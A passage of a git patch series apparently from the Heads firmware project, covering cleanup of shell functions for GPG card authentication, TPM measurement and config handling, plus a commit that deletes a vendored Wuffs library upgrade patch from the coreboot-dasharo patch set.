/tmp/rom.$$ \ - || die "Failed to write cbfs file to new ROM file" + cbfs -t 50 -r $old_file >/tmp/rom.$$ || + die "Failed to read cbfs file from ROM" + cbfs.sh -o $1 -a $old_file -f /tmp/rom.$$ || + die "Failed to write cbfs file to new ROM file" fi done } @@ -79,7 +85,6 @@ confirm_gpg_card() { #TODO: even change logic here to try first and then ask user to confirm if not found #TODO: or ask GPG user PIN once and cache it for the rest of the boot session for reusal # This is getting in the way of unattended stuff and GPG prompts are confusing anyway, hide them from user. - TRACE_FUNC #Skip prompts if we are currently using a known GPG key material Thumb drive backup and keys are unlocked pinentry @@ -141,9 +146,9 @@ confirm_gpg_card() { gpg --pinentry-mode=loopback --passphrase-file <(echo -n "${gpg_admin_pin}") --detach-sign "$CR_NONCE" >/dev/null 2>&1 || die "Unable to detach-sign $CR_NONCE with GPG private signing subkey using GPG Admin PIN" #verify detached signature against public key in rom - gpg --verify "$CR_SIG" "$CR_NONCE" > /dev/null 2>&1 && \ - echo "++++ Local GPG keyring can be used to sign/encrypt/authenticate in this boot session ++++" || \ - die "Unable to verify $CR_SIG detached signature against public key in ROM" + gpg --verify "$CR_SIG" "$CR_NONCE" >/dev/null 2>&1 && + echo "++++ Local GPG keyring can be used to sign/encrypt/authenticate in this boot session ++++" || + die "Unable to verify $CR_SIG detached signature against public key in ROM" #Wipe any previous CR_NONCE and CR_SIG shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" >/dev/null 2>&1 || true #TODO: maybe just an export instead of setting /etc/user.config otherwise could be flashed in weird corner case situation @@ -184,8 +189,8 @@ confirm_gpg_card() { pin_retry_counters=$(echo "$gpg_output" | grep 'PIN retry counter' | awk -F': ' '{print $2}') user_pin_retries=$(echo "$pin_retry_counters" | awk '{print $1}') admin_pin_retries=$(echo "$pin_retry_counters" | awk '{print $3}') - - echo "" + + echo "" echo "GPG User PIN retry attempts left before becoming locked: $user_pin_retries" echo "GPG Admin PIN retry attempts left before becoming locked: $admin_pin_retries" echo "" @@ -201,18 +206,18 @@ gpg_auth() { # Wipe any existing nonce and signature shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" 2>/dev/null || true - + # In case of gpg_auth, we require confirmation of the card, so loop with confirm_gpg_card until we get it false while [ $? -ne 0 ]; do # Call confirm_gpg_card in subshell to ensure GPG key material presence - ( confirm_gpg_card ) + (confirm_gpg_card) done # Perform a signing-based challenge-response, # to authencate that the card plugged in holding # the key to sign the list of boot files. - + CR_NONCE="/tmp/secret/cr_nonce" CR_SIG="$CR_NONCE.sig" @@ -222,17 +227,17 @@ gpg_auth() { of="$CR_NONCE" \ count=1 \ bs=20 \ - 2>/dev/null \ - || die "Unable to generate 20 random bytes" - + 2>/dev/null || + die "Unable to generate 20 random bytes" + # Sign the nonce for tries in 1 2 3; do if gpg --digest-algo SHA256 \ --detach-sign \ -o "$CR_SIG" \ - "$CR_NONCE" > /dev/null 2>&1 \ - && gpg --verify "$CR_SIG" "$CR_NONCE" > /dev/null 2>&1 \ - ; then + "$CR_NONCE" >/dev/null 2>&1 && + gpg --verify "$CR_SIG" "$CR_NONCE" >/dev/null 2>&1 \ + ; then shred -n 10 -z -u "$CR_NONCE" "$CR_SIG" 2>/dev/null || true DEBUG "Under /etc/ash_functions:gpg_auth: success" return 0 @@ -246,7 +251,7 @@ gpg_auth() { fi fi done - return 1 + return 1 fi } @@ -258,7 +263,7 @@ recovery() { # but recreate the directory so that new tools can use it. #safe to always be true. Otherwise "set -e" would make it exit here - shred -n 10 -z -u /tmp/secret/* 2> /dev/null || true + shred -n 10 -z -u /tmp/secret/* 2>/dev/null || true rm -rf /tmp/secret mkdir -p /tmp/secret @@ -269,7 +274,7 @@ recovery() { DEBUG "Board $CONFIG_BOARD - version $(fw_version)" if [ "$CONFIG_TPM" = "y" ]; then - LOG "TPM: Extending PCR[4] to prevent any further secret unsealing" + INFO "TPM: Extending PCR[4] to prevent any further secret unsealing" tpmr extend -ix 4 -ic recovery fi @@ -278,14 +283,13 @@ recovery() { sleep 5 /bin/reboot fi - while [ true ] - do + while [ true ]; do #Going to recovery shell should be authenticated if supported - gpg_auth + gpg_auth echo >&2 "!!!!! Starting recovery shell" sleep 1 - + if [ -x /bin/setsid ]; then /bin/setsid -c /bin/bash else @@ -302,66 +306,65 @@ pause_recovery() { combine_configs() { TRACE_FUNC - cat /etc/config* > /tmp/config + cat /etc/config* >/tmp/config } replace_config() { - TRACE_FUNC - CONFIG_FILE=$1 - CONFIG_OPTION=$2 - NEW_SETTING=$3 - - touch $CONFIG_FILE - # first pull out the existing option from the global config and place in a tmp file - awk "gsub(\"^export ${CONFIG_OPTION}=.*\",\"export ${CONFIG_OPTION}=\\\"${NEW_SETTING}\\\"\")" /tmp/config >${CONFIG_FILE}.tmp - awk "gsub(\"^${CONFIG_OPTION}=.*\",\"${CONFIG_OPTION}=\\\"${NEW_SETTING}\\\"\")" /tmp/config >>${CONFIG_FILE}.tmp - - # then copy any remaining settings from the existing config file, minus the option you changed - grep -v "^export ${CONFIG_OPTION}=" ${CONFIG_FILE} | grep -v "^${CONFIG_OPTION}=" >>${CONFIG_FILE}.tmp || true - sort ${CONFIG_FILE}.tmp | uniq >${CONFIG_FILE} - rm -f ${CONFIG_FILE}.tmp + TRACE_FUNC + CONFIG_FILE=$1 + CONFIG_OPTION=$2 + NEW_SETTING=$3 + + touch $CONFIG_FILE + # first pull out the existing option from the global config and place in a tmp file + awk "gsub(\"^export ${CONFIG_OPTION}=.*\",\"export ${CONFIG_OPTION}=\\\"${NEW_SETTING}\\\"\")" /tmp/config >${CONFIG_FILE}.tmp + awk "gsub(\"^${CONFIG_OPTION}=.*\",\"${CONFIG_OPTION}=\\\"${NEW_SETTING}\\\"\")" /tmp/config >>${CONFIG_FILE}.tmp + + # then copy any remaining settings from the existing config file, minus the option you changed + grep -v "^export ${CONFIG_OPTION}=" ${CONFIG_FILE} | grep -v "^${CONFIG_OPTION}=" >>${CONFIG_FILE}.tmp || true + sort ${CONFIG_FILE}.tmp | uniq >${CONFIG_FILE} + rm -f ${CONFIG_FILE}.tmp } # Set a config variable in a specific file to a given value - replace it if it # exists, or add it. If added, the variable will be exported. set_config() { - CONFIG_FILE="$1" - CONFIG_OPTION="$2" - NEW_SETTING="$3" - - if grep -q "$CONFIG_OPTION" "$CONFIG_FILE"; then - replace_config "$CONFIG_FILE" "$CONFIG_OPTION" "$NEW_SETTING" - else - echo "export $CONFIG_OPTION=\"$NEW_SETTING\"" >>"$CONFIG_FILE" - fi + CONFIG_FILE="$1" + CONFIG_OPTION="$2" + NEW_SETTING="$3" + + if grep -q "$CONFIG_OPTION" "$CONFIG_FILE"; then + replace_config "$CONFIG_FILE" "$CONFIG_OPTION" "$NEW_SETTING" + else + echo "export $CONFIG_OPTION=\"$NEW_SETTING\"" >>"$CONFIG_FILE" + fi } # Set a value in config.user, re-combine configs, and update configs in the # environment. set_user_config() { - CONFIG_OPTION="$1" - NEW_SETTING="$2" + CONFIG_OPTION="$1" + NEW_SETTING="$2" - set_config /etc/config.user "$CONFIG_OPTION" "$NEW_SETTING" - combine_configs - . /tmp/config + set_config /etc/config.user "$CONFIG_OPTION" "$NEW_SETTING" + combine_configs + . /tmp/config } # Load a config value to a variable, defaulting to empty. Does not fail if the # config is not set (since it would expand to empty by default). load_config_value() { - local config_name="$1" - if grep -q "$config_name=" /tmp/config; then - grep "$config_name=" /tmp/config | tail -n1 | cut -f2 -d '=' | tr -d '"' - fi + local config_name="$1" + if grep -q "$config_name=" /tmp/config; then + grep "$config_name=" /tmp/config | tail -n1 | cut -f2 -d '=' | tr -d '"' + fi } -enable_usb() -{ +enable_usb() { TRACE_FUNC - #insmod ehci_hcd prior of uhdc_hcd and ohci_hcd to suppress dmesg warning + #insmod ehci_hcd prior of uhdc_hcd and ohci_hcd to suppress dmesg warning insmod /lib/modules/ehci-hcd.ko || die "ehci_hcd: module load failed" - + if [ "$CONFIG_LINUX_USB_COMPANION_CONTROLLER" = y ]; then insmod /lib/modules/uhci-hcd.ko || die "uhci_hcd: module load failed" insmod /lib/modules/ohci-hcd.ko || die "ohci_hcd: module load failed" @@ -385,7 +388,6 @@ enable_usb() # ------- End of functions coming from /etc/ash_functions - # Print or depending on whether $1 is empty. Useful to mask an # optional password parameter. mask_param() { @@ -761,11 +763,11 @@ check_tpm_counter() { if [ -r "$1" ]; then TPM_COUNTER=$(grep counter- "$1" | cut -d- -f2) else - LOG "$1 does not exist; creating new TPM counter" + INFO "$1 does not exist; creating new TPM counter" tpmr counter_create \ -pwdc '' \ -la $LABEL | - tee /tmp/counter > /dev/null 2>&1 || + tee /tmp/counter >/dev/null 2>&1 || die "Unable to create TPM counter" TPM_COUNTER=$(cut -d: -f1 /dev/null 2>&1 || + tpmr counter_read -ix "$1" | tee "/tmp/counter-$1" >/dev/null 2>&1 || die "Counter read failed" } @@ -786,7 +788,7 @@ read_tpm_counter() { increment_tpm_counter() { TRACE_FUNC tpmr counter_increment -ix "$1" -pwdc '' | - tee /tmp/counter-$1 > /dev/null 2>&1 || + tee /tmp/counter-$1 >/dev/null 2>&1 || die "TPM counter increment failed for rollback prevention. Please reset the TPM" } @@ -816,7 +818,7 @@ check_config() { fi fi - LOG "+++ Found verified kexec boot params" + INFO "+++ Found verified kexec boot params" cp $1/kexec*.txt /tmp/kexec || die "Failed to copy kexec boot params to tmp" } @@ -1291,7 +1293,7 @@ generate_passphrase() { # level. 4 bytes with modulus 1296 results in 0.000003% bias # toward the first 1263 words. random="$(dd if=/dev/random bs=4 count=1 status=none | hexdump -e '1/4 "%u\n"')" - ((random%=lines)) + ((random %= lines)) ((++random)) # tail's line count is 1-based tail -n +"$random" "$dictionary_file" | head -1 | cut -d$'\t' -f2 } diff --git a/initrd/init b/initrd/init index 9419d9ed4..33b473a56 100755 --- a/initrd/init +++ b/initrd/init @@ -98,9 +98,11 @@ if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then #Output all kernel messages to console (8=debug) #DEBUG and TRACE calls will be in dmesg and on console # config.user extracted and combined from CBFS had CONFIG_DEBUG_OUTPUT=y + # DO_WITH_DEBUG redirects stderr and stdout to /tmp/debug.log to not clog console TRACE_FUNC dmesg -n 8 DEBUG "Full debug output enabled from this point: output both in dmesg and on console (equivalent of passing debug to kernel cmdline)" + DEBUG "NOTE: DO_WITH_DEBUG std_err and std_out will be redirected to /tmp/debug.log" fi # report if we are in quiet mode, tell user measurements logs available under /tmp/debug.log diff --git a/initrd/sbin/insmod b/initrd/sbin/insmod index 95e2303c6..b079fcc0c 100755 --- a/initrd/sbin/insmod +++ b/initrd/sbin/insmod @@ -39,19 +39,19 @@ if [ ! -r /sys/class/tpm/tpm0/pcrs -o ! -x /bin/tpm ]; then fi if [ -z "$tpm_missing" ]; then - LOG "TPM: Extending PCR[$MODULE_PCR] with $MODULE and parameters '$*' before loading" + INFO "TPM: Extending PCR[$MODULE_PCR] with $MODULE and parameters '$*' before loading" # Extend with the module parameters (even if they are empty) and the # module. Changing the parameters or the module content will result in a # different PCR measurement. if [ -n "$*" ]; then TRACE_FUNC - LOG "Extending with module parameters and the module's content" + INFO "Extending with module parameters and the module's content" tpmr extend -ix "$MODULE_PCR" -ic "$*" tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ || die "$MODULE: tpm extend failed" else TRACE_FUNC - LOG "No module parameters, extending only with the module's content" + INFO "No module parameters, extending only with the module's content" tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ || die "$MODULE: tpm extend failed" fi From 2148e64aa35be335b942fc9bd6764ef56eb10a34 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 15 Jan 2025 12:20:20 +0100 Subject: [PATCH 464/619] coreboot-dasharo: move patches from Heads into Dasharo coreboot fork MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Patch 0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch is removed because it is no longer required. Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- ...wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch | 111421 --------------- ...ib_jpeg-avoidcalling-malloc-and-free.patch | 91 - ...N-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch | 130 - 4 files changed, 1 insertion(+), 111643 deletions(-) delete mode 100644 patches/coreboot-dasharo-unreleased/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch delete mode 100644 patches/coreboot-dasharo-unreleased/0002-lib_jpeg-avoidcalling-malloc-and-free.patch delete mode 100644 patches/coreboot-dasharo-unreleased/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch diff --git a/modules/coreboot b/modules/coreboot index 771762561..7236ba6f3 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -96,7 +96,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) coreboot-dasharo_repo := https://github.com/dasharo/coreboot coreboot-dasharo_commit_hash := 8adaae026dc055fa8b445fbe32e5146576d56c28 $(eval $(call coreboot_module,dasharo,24.02.01)) -coreboot-dasharo_patch_version := unreleased +#coreboot-dasharo_patch_version := unreleased # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" diff --git a/patches/coreboot-dasharo-unreleased/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch b/patches/coreboot-dasharo-unreleased/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch deleted file mode 100644 index 7208d5ebc..000000000 --- a/patches/coreboot-dasharo-unreleased/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch +++ /dev/null @@ -1,111421 +0,0 @@ -From b598d05d389e137baa10e277a37fca2c363fb295 Mon Sep 17 00:00:00 2001 -From: Nigel Tao -Date: Tue, 13 Aug 2024 22:10:52 +1000 -Subject: [PATCH] vc/wuffs: upgrade to Wuffs 0.4.0-alpha.8 - -We were previously at Wuffs 0.4.0-alpha.2. The C file was copied from -https://github.com/google/wuffs-mirror-release-c and its hash matches -https://github.com/google/wuffs-mirror-release-c/blob/90e4d81a6a8b7b601e8e568da32a105d7f7705e5/sync.txt#L9-L10 - -$ sha256sum src/vendorcode/wuffs/wuffs-v0.4.c -6c22caff4af929112601379a73f72461bc4719a5215366bcc90d599cbc442bb6 src/vendorcode/wuffs/wuffs-v0.4.c - -Change-Id: Ie90d989384e0db2b23d7d1b3d9a57920ac8a95a2 -Signed-off-by: Nigel Tao -Reviewed-on: https://review.coreboot.org/c/coreboot/+/83894 -Reviewed-by: Felix Singer -Reviewed-by: Nico Huber -Tested-by: build bot (Jenkins) ---- - src/vendorcode/wuffs/wuffs-v0.4.c | 101194 ++++++++++++++++----------- - 1 file changed, 58878 insertions(+), 42316 deletions(-) - -diff --git a/src/vendorcode/wuffs/wuffs-v0.4.c b/src/vendorcode/wuffs/wuffs-v0.4.c -index bce9eb9798..0c6616a652 100644 ---- a/src/vendorcode/wuffs/wuffs-v0.4.c -+++ b/src/vendorcode/wuffs/wuffs-v0.4.c -@@ -81,15 +81,43 @@ extern "C" { - // each major.minor branch, the commit count should increase monotonically. - // - // WUFFS_VERSION was overridden by "wuffs gen -version" based on revision --// ae8531f7f846fbbe3a7340bf88499ad294a1367b committed on 2023-10-07. -+// 5d69840f8e7ca481551b02c7e8d4c5fb69521bb9 committed on 2024-08-12. - #define WUFFS_VERSION 0x000040000 - #define WUFFS_VERSION_MAJOR 0 - #define WUFFS_VERSION_MINOR 4 - #define WUFFS_VERSION_PATCH 0 --#define WUFFS_VERSION_PRE_RELEASE_LABEL "alpha.2" --#define WUFFS_VERSION_BUILD_METADATA_COMMIT_COUNT 3603 --#define WUFFS_VERSION_BUILD_METADATA_COMMIT_DATE 20231007 --#define WUFFS_VERSION_STRING "0.4.0-alpha.2+3603.20231007" -+#define WUFFS_VERSION_PRE_RELEASE_LABEL "alpha.8" -+#define WUFFS_VERSION_BUILD_METADATA_COMMIT_COUNT 3796 -+#define WUFFS_VERSION_BUILD_METADATA_COMMIT_DATE 20240812 -+#define WUFFS_VERSION_STRING "0.4.0-alpha.8+3796.20240812" -+ -+// ---------------- Private Implementation Macros Re-definition Check -+ -+// Users (those who #include the "wuffs-vM.N.c" file) should not define any -+// WUFFS_PRIVATE_IMPL__ETC macros, only WUFFS_CONFIG__ETC macros (and -+// WUFFS_IMPLEMENTATION). Mucking about with the private implementation macros -+// is not supported and may break when upgrading to newer Wuffs versions. -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) || \ -+ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) || \ -+ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) || \ -+ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) || \ -+ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) || \ -+ defined(WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) || \ -+ defined(WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) || \ -+ defined(WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) || \ -+ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U16) || \ -+ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32) || \ -+ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64) || \ -+ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U8) -+ -+#if defined(__GNUC__) || defined(__clang__) -+#warning "Defining WUFFS_PRIVATE_IMPL__ETC yourself is not supported" -+#elif defined(_MSC_VER) -+#pragma message("Defining WUFFS_PRIVATE_IMPL__ETC yourself is not supported") -+#endif -+ -+#endif - - // ---------------- Configuration - -@@ -117,11 +145,11 @@ extern "C" { - // intrinsics. Look for __ARM_FEATURE_CRC32 instead. - #if defined(__ARM_FEATURE_CRC32) - #include --#define WUFFS_BASE__CPU_ARCH__ARM_CRC32 -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32 - #endif // defined(__ARM_FEATURE_CRC32) - #if defined(__ARM_NEON) - #include --#define WUFFS_BASE__CPU_ARCH__ARM_NEON -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON - #endif // defined(__ARM_NEON) - #endif // defined(__ARM_FEATURE_UNALIGNED) etc - -@@ -129,26 +157,82 @@ extern "C" { - // POPCNT. This is checked at runtime via cpuid, not at compile time. - // - // Likewise, "cpu_arch >= x86_avx2" also requires PCLMUL, POPCNT and SSE4.2. --#if defined(__i386__) || defined(__x86_64__) -+// -+// ---- -+// -+// Technically, we could use the SSE family on 32-bit x86, not just 64-bit x86. -+// But some intrinsics don't compile in 32-bit mode. It's not worth the hassle. -+// https://github.com/google/wuffs/issues/145 -+#if defined(__x86_64__) - #if !defined(__native_client__) - #include - #include --// X86_FAMILY means X86 (32-bit) or X86_64 (64-bit, obviously). --#define WUFFS_BASE__CPU_ARCH__X86_FAMILY --#if defined(__x86_64__) --#define WUFFS_BASE__CPU_ARCH__X86_64 --#endif // defined(__x86_64__) -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64 -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2 -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3 - #endif // !defined(__native_client__) --#endif // defined(__i386__) || defined(__x86_64__) -+#endif // defined(__x86_64__) - - #elif defined(_MSC_VER) // (#if-chain ref AVOID_CPU_ARCH_1) - --#if defined(_M_IX86) || defined(_M_X64) --#if defined(__AVX__) || defined(__clang__) -+#if defined(_M_X64) -+ -+// On X86_64, Microsoft Visual C/C++ (MSVC) only supports SSE2 by default. -+// There are /arch:SSE2, /arch:AVX and /arch:AVX2 compiler flags (the AVX2 one -+// is roughly equivalent to X86_64_V3), but there is no /arch:SSE42 compiler -+// flag that's equivalent to X86_64_V2. -+// -+// For getting maximum performance with X86_64 MSVC and Wuffs, pass /arch:AVX2 -+// (and then test on the oldest hardware you intend to support). -+// -+// Absent that compiler flag, either define one of the three macros listed -+// below or else the X86_64 SIMD code will be disabled and you'll get a #pragma -+// message stating this library "performs best with /arch:AVX2". This message -+// is harmless and ignorable, in that the non-SIMD code is still correct and -+// reasonably performant, but is a reminder that when combining Wuffs and MSVC, -+// some compiler configuration is required for maximum performance. -+// -+// - WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY -+// - WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V2 (enables SSE4.2 and below) -+// - WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V3 (enables AVX2 and below) -+// -+// Defining the first one (WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY) -+// or defining none of those three (the default state) are equivalent (in that -+// both disable the SIMD code paths), other than that pragma message. -+// -+// When defining these WUFFS_CONFIG__ENABLE_ETC macros with MSVC, be aware that -+// some users report it leading to ICEs (Internal Compiler Errors), but other -+// users report no problems at all (and improved performance). It's unclear -+// exactly what combination of SIMD code and MSVC configuration lead to ICEs. -+// Do your own testing with your own MSVC version and configuration. -+// -+// https://github.com/google/wuffs/issues/148 -+// https://github.com/google/wuffs/issues/151 -+// https://developercommunity.visualstudio.com/t/fatal--error-C1001:-Internal-compiler-er/10703305 -+// -+// Clang (including clang-cl) and GCC don't need this WUFFS_CONFIG__ETC macro -+// machinery, or having the Wuffs-the-library user to fiddle with compiler -+// flags, because they support "__attribute__((target(arg)))". -+#if defined(__AVX2__) || defined(__clang__) || \ -+ defined(WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V3) -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64 -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2 -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3 -+#elif defined(WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V2) -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64 -+#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2 -+#elif !defined(WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY) -+#pragma message("Wuffs with MSVC+X64 performs best with /arch:AVX2") -+#endif // defined(__AVX2__) || defined(__clang__) || etc -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) -+ -+#if defined(WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY) -+#error "MSVC_CPU_ARCH simultaneously enabled and disabled" -+#endif - --// We need for the __cpuid function. - #include --// That's not enough for X64 SIMD, with clang-cl, if we want to use -+// intrin.h isn't enough for X64 SIMD, with clang-cl, if we want to use - // "__attribute__((target(arg)))" without e.g. "/arch:AVX". - // - // Some web pages suggest that is all you need, as it pulls in -@@ -157,25 +241,9 @@ extern "C" { - #include // AVX, AVX2, FMA, POPCNT - #include // SSE4.2 - #include // AES, PCLMUL --// X86_FAMILY means X86 (32-bit) or X86_64 (64-bit, obviously). --#define WUFFS_BASE__CPU_ARCH__X86_FAMILY --#if defined(_M_X64) --#define WUFFS_BASE__CPU_ARCH__X86_64 --#endif // defined(_M_X64) -- --#else // defined(__AVX__) || defined(__clang__) -- --// clang-cl (which defines both __clang__ and _MSC_VER) supports --// "__attribute__((target(arg)))". --// --// For MSVC's cl.exe (unlike clang or gcc), SIMD capability is a compile-time --// property of the source file (e.g. a /arch:AVX or -mavx compiler flag), not --// of individual functions (that can be conditionally selected at runtime). --#pragma message("Wuffs with MSVC+IX86/X64 needs /arch:AVX for best performance") -- --#endif // defined(__AVX__) || defined(__clang__) --#endif // defined(_M_IX86) || defined(_M_X64) - -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) -+#endif // defined(_M_X64) - #endif // (#if-chain ref AVOID_CPU_ARCH_1) - #endif // (#if-chain ref AVOID_CPU_ARCH_0) - -@@ -198,20 +266,20 @@ extern "C" { - - static inline bool // - wuffs_base__cpu_arch__have_arm_crc32(void) { --#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) - return true; - #else - return false; --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) - } - - static inline bool // - wuffs_base__cpu_arch__have_arm_neon(void) { --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) - return true; - #else - return false; --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) - } - - static inline bool // -@@ -220,7 +288,7 @@ wuffs_base__cpu_arch__have_x86_avx2(void) { - defined(__AVX2__) - return true; - #else --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) - // GCC defines these macros but MSVC does not. - // - bit_AVX2 = (1 << 5) - const unsigned int avx2_ebx7 = 0x00000020; -@@ -258,9 +326,9 @@ wuffs_base__cpu_arch__have_x86_avx2(void) { - } - } - #else --#error "WUFFS_BASE__CPU_ARCH__ETC combined with an unsupported compiler" -+#error "WUFFS_PRIVATE_IMPL__CPU_ARCH__ETC combined with an unsupported compiler" - #endif // defined(__GNUC__); defined(_MSC_VER) --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) - return false; - #endif // defined(__PCLMUL__) && defined(__POPCNT__) && defined(__SSE4_2__) && - // defined(__AVX2__) -@@ -271,7 +339,7 @@ wuffs_base__cpu_arch__have_x86_bmi2(void) { - #if defined(__BMI2__) - return true; - #else --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) - // GCC defines these macros but MSVC does not. - // - bit_BMI2 = (1 << 8) - const unsigned int bmi2_ebx7 = 0x00000100; -@@ -293,9 +361,9 @@ wuffs_base__cpu_arch__have_x86_bmi2(void) { - return true; - } - #else --#error "WUFFS_BASE__CPU_ARCH__ETC combined with an unsupported compiler" -+#error "WUFFS_PRIVATE_IMPL__CPU_ARCH__ETC combined with an unsupported compiler" - #endif // defined(__GNUC__); defined(_MSC_VER) --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) - return false; - #endif // defined(__BMI2__) - } -@@ -305,7 +373,7 @@ wuffs_base__cpu_arch__have_x86_sse42(void) { - #if defined(__PCLMUL__) && defined(__POPCNT__) && defined(__SSE4_2__) - return true; - #else --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) - // GCC defines these macros but MSVC does not. - // - bit_PCLMUL = (1 << 1) - // - bit_POPCNT = (1 << 23) -@@ -329,9 +397,9 @@ wuffs_base__cpu_arch__have_x86_sse42(void) { - return true; - } - #else --#error "WUFFS_BASE__CPU_ARCH__ETC combined with an unsupported compiler" -+#error "WUFFS_PRIVATE_IMPL__CPU_ARCH__ETC combined with an unsupported compiler" - #endif // defined(__GNUC__); defined(_MSC_VER) --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) - return false; - #endif // defined(__PCLMUL__) && defined(__POPCNT__) && defined(__SSE4_2__) - } -@@ -350,9 +418,15 @@ wuffs_base__cpu_arch__have_x86_sse42(void) { - // The "defined(__clang__)" isn't redundant. While vanilla clang defines - // __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. - #if defined(__GNUC__) || defined(__clang__) -+#define WUFFS_BASE__FORCE_INLINE __attribute__((__always_inline__)) - #define WUFFS_BASE__POTENTIALLY_UNUSED __attribute__((unused)) - #define WUFFS_BASE__WARN_UNUSED_RESULT __attribute__((warn_unused_result)) -+#elif defined(_MSC_VER) -+#define WUFFS_BASE__FORCE_INLINE __forceinline -+#define WUFFS_BASE__POTENTIALLY_UNUSED -+#define WUFFS_BASE__WARN_UNUSED_RESULT - #else -+#define WUFFS_BASE__FORCE_INLINE - #define WUFFS_BASE__POTENTIALLY_UNUSED - #define WUFFS_BASE__WARN_UNUSED_RESULT - #endif -@@ -415,6 +489,37 @@ struct wuffs_unique_ptr_deleter { - - // -------- - -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wcast-qual" -+#endif -+ -+static inline uint8_t* // -+wuffs_base__strip_const_from_u8_ptr(const uint8_t* ptr) { -+ return (uint8_t*)ptr; -+} -+ -+static inline uint16_t* // -+wuffs_base__strip_const_from_u16_ptr(const uint16_t* ptr) { -+ return (uint16_t*)ptr; -+} -+ -+static inline uint32_t* // -+wuffs_base__strip_const_from_u32_ptr(const uint32_t* ptr) { -+ return (uint32_t*)ptr; -+} -+ -+static inline uint64_t* // -+wuffs_base__strip_const_from_u64_ptr(const uint64_t* ptr) { -+ return (uint64_t*)ptr; -+} -+ -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ -+// -------- -+ - // wuffs_base__empty_struct is used when a Wuffs function returns an empty - // struct. In C, if a function f 